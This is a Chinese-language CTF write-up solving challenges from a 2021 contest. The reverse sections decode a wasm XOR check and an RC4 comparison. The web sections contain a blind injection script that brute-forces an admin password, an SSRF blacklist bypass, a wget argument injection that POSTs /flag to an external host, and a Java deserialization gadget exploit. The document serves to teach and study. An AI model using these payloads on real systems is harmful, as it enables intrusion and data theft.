2021陇原战"疫" 部分赛题复现
Reverse
Eat_something
这题非常有趣,是一道wasm的基础逆向题目。
拿到题目后发现页面有一个输入框,任意输入之后点击按钮会提示错误,右键查看源代码可以看到如下JS:
<script>
Module.onRuntimeInitialized = function (){
checkright = Module.cwrap('checkright', 'string', ['string'])
}
function nice(){
var inpObj = document.getElementById("id1");
document.write(checkright(inpObj.value))
if(checkright(inpObj.value) === "You are right!"){
document.write(inpObj.value)
}
}
<script>
这里调用了Module.cwrap加载了C函数checkright,f12打开Source查看源代码就可以看到有一个.wasm结尾的文件
将该文件下载下来后
这里使用wabt工具:https://github.com/WebAssembly/wabt
然后使用里面的wasm2c将wasm文件转换成c文件
wasm2c.exe Eat_something.wasm -o Eat_something.c
之后会在当前目录中生成Eatsomething.c和Eatsomething.h
这时候如果直接阅读源码是非常难受的,还需要用gcc将其编译成二进制文件再拖到IDA中分析
这里可以看到是将异或后的值与常量池中的比较,而常量datasegmentdata0打开Eatsomething.c就可以看到,其中与运算0xff其实就是对256取余,这里注释写错了。
static const u8 data_segment_data_0[] = {
0x86, 0x8b, 0xaa, 0x85, 0xac, 0x89, 0xf0, 0xaf, 0xd8, 0x69, 0xd6, 0xdd,
0xb2, 0xbf, 0x6e, 0xe5, 0xae, 0x99, 0xcc, 0xd5, 0xbc, 0x8b, 0xf2, 0x7d,
0x7a, 0xe3, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x72, 0x69,
0x67, 0x68, 0x74, 0x21, 0x00, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65,
0x20, 0x77, 0x72, 0x6f, 0x6e, 0x67, 0x21, 0x00,
};
poc的逻辑就是遍历这些数组的元素,然后异或再除2就可得到flag的串了
data_segment_data_0 = [ 0x86, 0x8b, 0xaa, 0x85, 0xac, 0x89, 0xf0, 0xaf, 0xd8, 0x69, 0xd6, 0xdd, 0xb2, 0xbf, 0x6e, 0xe5, 0xae, 0x99, 0xcc, 0xd5, 0xbc, 0x8b, 0xf2, 0x7d, 0x7a, 0xe3, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x72, 0x69, 0x67, 0x68, 0x74, 0x21, 0x00, 0x59, 0x6f, 0x75, 0x20, 0x61, 0x72, 0x65, 0x20, 0x77, 0x72, 0x6f, 0x6e, 0x67, 0x21, 0x00 ]
flag = ''
for i in range(len(data_segment_data_0)):
flag += chr((i ^ data_segment_data_0[i]) / 2)
print(flag)
#CETCTF{Th0nk_Y0u_DocTOr51}
findme
这题属实把我给绕晕了,拿到题目直接丢IDA的时候看到如下伪代码
sub_401610是判断是否长度为26
但是怪就怪在这个off_403844函数,我点进去之后看到是strcmp
搞得我一直以为off_403844就是strcmp函数
直到我翻到了这个
于是乎就用OD跑了一遍
eax的值确实是401866,而该地址上面是一个函数栈帧,回到IDA伪代码查看
点看Sub_40164C就可以看出是一个RC4算法
最后与对应的密文比较
403040的值是
最后的解密过程,先通过调试获取26个0的异或结果,再编写如下脚本
s=[ 0xD4, 0x27, 0xE1, 0xB2, 0xF4, 0x9F, 0x4C, 0xDC, 0xBC, 0x1B,
0x80, 0xD2, 0x44, 0x8B, 0xEA, 0x33, 0x02, 0x4E, 0x41, 0xEB,
0x8D, 0x23, 0x6F, 0xBC, 0x00, 0x8B]
d='00000000000000000000000000'
a=[0xFFFFFFB7, 0x00000052, 0xFFFFFF85, 0xFFFFFFC1, 0xFFFFFF90, 0xFFFFFFE9, 0x00000007, 0xFFFFFFB8, 0xFFFFFFE4, 0x0000001A, 0xFFFFFFC3, 0xFFFFFFBD, 0x0000001D, 0xFFFFFF8E, 0xFFFFFF85, 0x00000046, 0x00000000, 0x00000021, 0x00000044, 0xFFFFFFAF, 0xFFFFFFEF, 0x00000070, 0x00000032, 0xFFFFFFB5, 0x00000011, 0xFFFFFFC6]
for i in range(len(a)):
print((chr(s[i]^ord(d[i])^(a[i]&0xff))),end='')
#SETCTF{Th1s_i5_E2_5tRcm9!}
Web
Checkin
这题其实就跟2021上海大学生赛的那道goweb题差不多
import requests
url = "http://47.117.125.220:8081/login"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
strings = "1234567890abcdefghijklmnopqrstuvwxyz"
res = ""
for i in range(len(res) + 1, 40):
if len(res) == i - 1:
for c in strings:
data = {
"username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
"password": "123456"
}
r = requests.post(url=url, headers=headers, data=data)
if "Pretend" in r.text:
res = c + res
print("[+] " + res)
break
else:
print("[-] Failed")
break
先通过注入获取到admin的密文
func proxyController(c *gin.Context) {
var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
if re.MatchString(url.Url) {
c.JSON(403, gin.H{"msg": "Url Forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer resp.Body.Close()
var buffer [512]byte
result := bytes.NewBuffer(nil)
for {
n, err := resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err != nil && err == io.EOF {
break
} else if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
然后访问使用[::]绕过对127.0.0.1的限制来访问内网。
然后用/wget路由来外带数据,但是这题出题人应该是遗漏了,/wget路由没有做中间件限制,导致可以无需登录就访问。
http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=--method=POST&argv=--body-file=/flag&argv=http://47.xxx.xxx.220:2333
直接获取flag
Ezjaba
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.File;
import java.nio.file.Files;
public class exp {
public static void main(String[] args) throws Exception {
//TemplatesImpl templates = SerializeUtil.generateTemplatesImpl();
byte[] bytecodes = Files.readAllBytes(new File("EvilClass.class").toPath());
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl(bytecodes);
ObjectBean delegate = new ObjectBean(Templates.class, tmpl);
System.out.println(tools.base64Encode(tools.serialize(delegate)));
}
}
Reference
[1].http://unbelievable.cool/2021/07/15/wasm%E9%80%86%E5%90%91/